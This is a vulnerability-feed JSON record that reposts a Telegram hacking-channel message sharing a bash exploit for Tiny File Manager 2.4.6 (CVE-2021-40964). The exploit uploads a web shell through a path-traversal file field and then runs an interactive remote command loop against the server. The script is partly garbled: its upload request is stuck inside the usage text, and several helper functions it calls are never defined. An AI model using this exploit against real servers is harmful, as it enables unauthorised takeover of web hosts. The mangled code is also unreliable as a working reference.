{"uuid": "52ac6c22-81de-4121-a452-029ef0dcfd88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40964", "type": "seen", "source": "https://t.me/hacking_Attack/46568", "content": "Exploit Collector\nTiny File Manager 2.4.6 Shell Upload\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nTiny File Manager version 2.4.6 suffers from an authenticated remote shell upload vulnerability.\n\nMD5 | 56aefa95418a94bb95e57a7450745e0e\n\nDownload\n# Exploit Title: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)\n# Date: 14/03/2022\n# Exploit Author: FEBIN MON SAJI\n# Software Link: https://github.com/prasathmani/tinyfilemanager\n# Version: Tiny File Manager &lt;=\n# Tested on: Ubuntu 20.04\n# CVE : CVE-2021-40964\n# Reference: https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/\n\n#!/bin/bash\n\ncheck(){\n\nwhich curl\nif  [ $? = 0 ]\nthen\nprintf \"[\u2714] Curl found! \\n\"\nelse\nprintf \"[\u274c] Curl not found! \\n\"\nexit\nfi\n\nwhich jq\nif  [ $? = 0 ]\nthen\nprintf \"[\u2714] jq found! \\n\"\nelse\nprintf \"[\u274c] jq not found! \\n\"\nexit\nfi\n}\nusage(){\n\nprintf \"\nTIny File Manager Authenticated RCE Exploit.\n\nBy FEBIN\n\n$0  /tmp/$shell\ncurl $URL?p= -X POST -s -H \"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\" -b $cookie -F \"p=\" -F \"fullpath=../../../../../../../..${webroot}/${shell}\" -F \"file=@/tmp/$shell\" | grep \"successful\"\n}\n\nexploit(){\n\nWEB_URL=$(printf \"$URL\" | tr \"/\" \"\\n\" | head --lines=-1 | tr \"\\n\" \"/\")\n\nupload\nif [ $? = 0 ]\nthen\nprintf \"[+] File Upload Successful! \\n\"\nelse\nprintf \"[-] File Upload Unsuccessful! Exiting! \\n\"\nexit 1\nfi\nprintf \"[+] Checking for the shell \\n\"\ncurl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep \"found\" &gt;/dev/null\nif [ $? = 0 ]\nthen\nprintf \"[+] Shell found ${WEB_URL}/$shell \\n\"\nelse \nprintf \"[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \\n\"\nexit 2\nfi\n\nprintf \"[+] Getting shell access! \\n\\n\"\n\nwhile true\ndo\nprintf \"$&gt; \"\nread cmd\ncurl  ${WEB_URL}/$shell -s -X POST -d \"cmd=${cmd}\"\ndone\n}\n\nif [ $1 ] &amp;&amp; [ $2 ] &amp;&amp; [ $3 ]\nthen\ncheck\nlog-in $1 $2 $3\n\nfind_webroot\nexploit\nelse\nusage\nfi\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:50.733062Z"}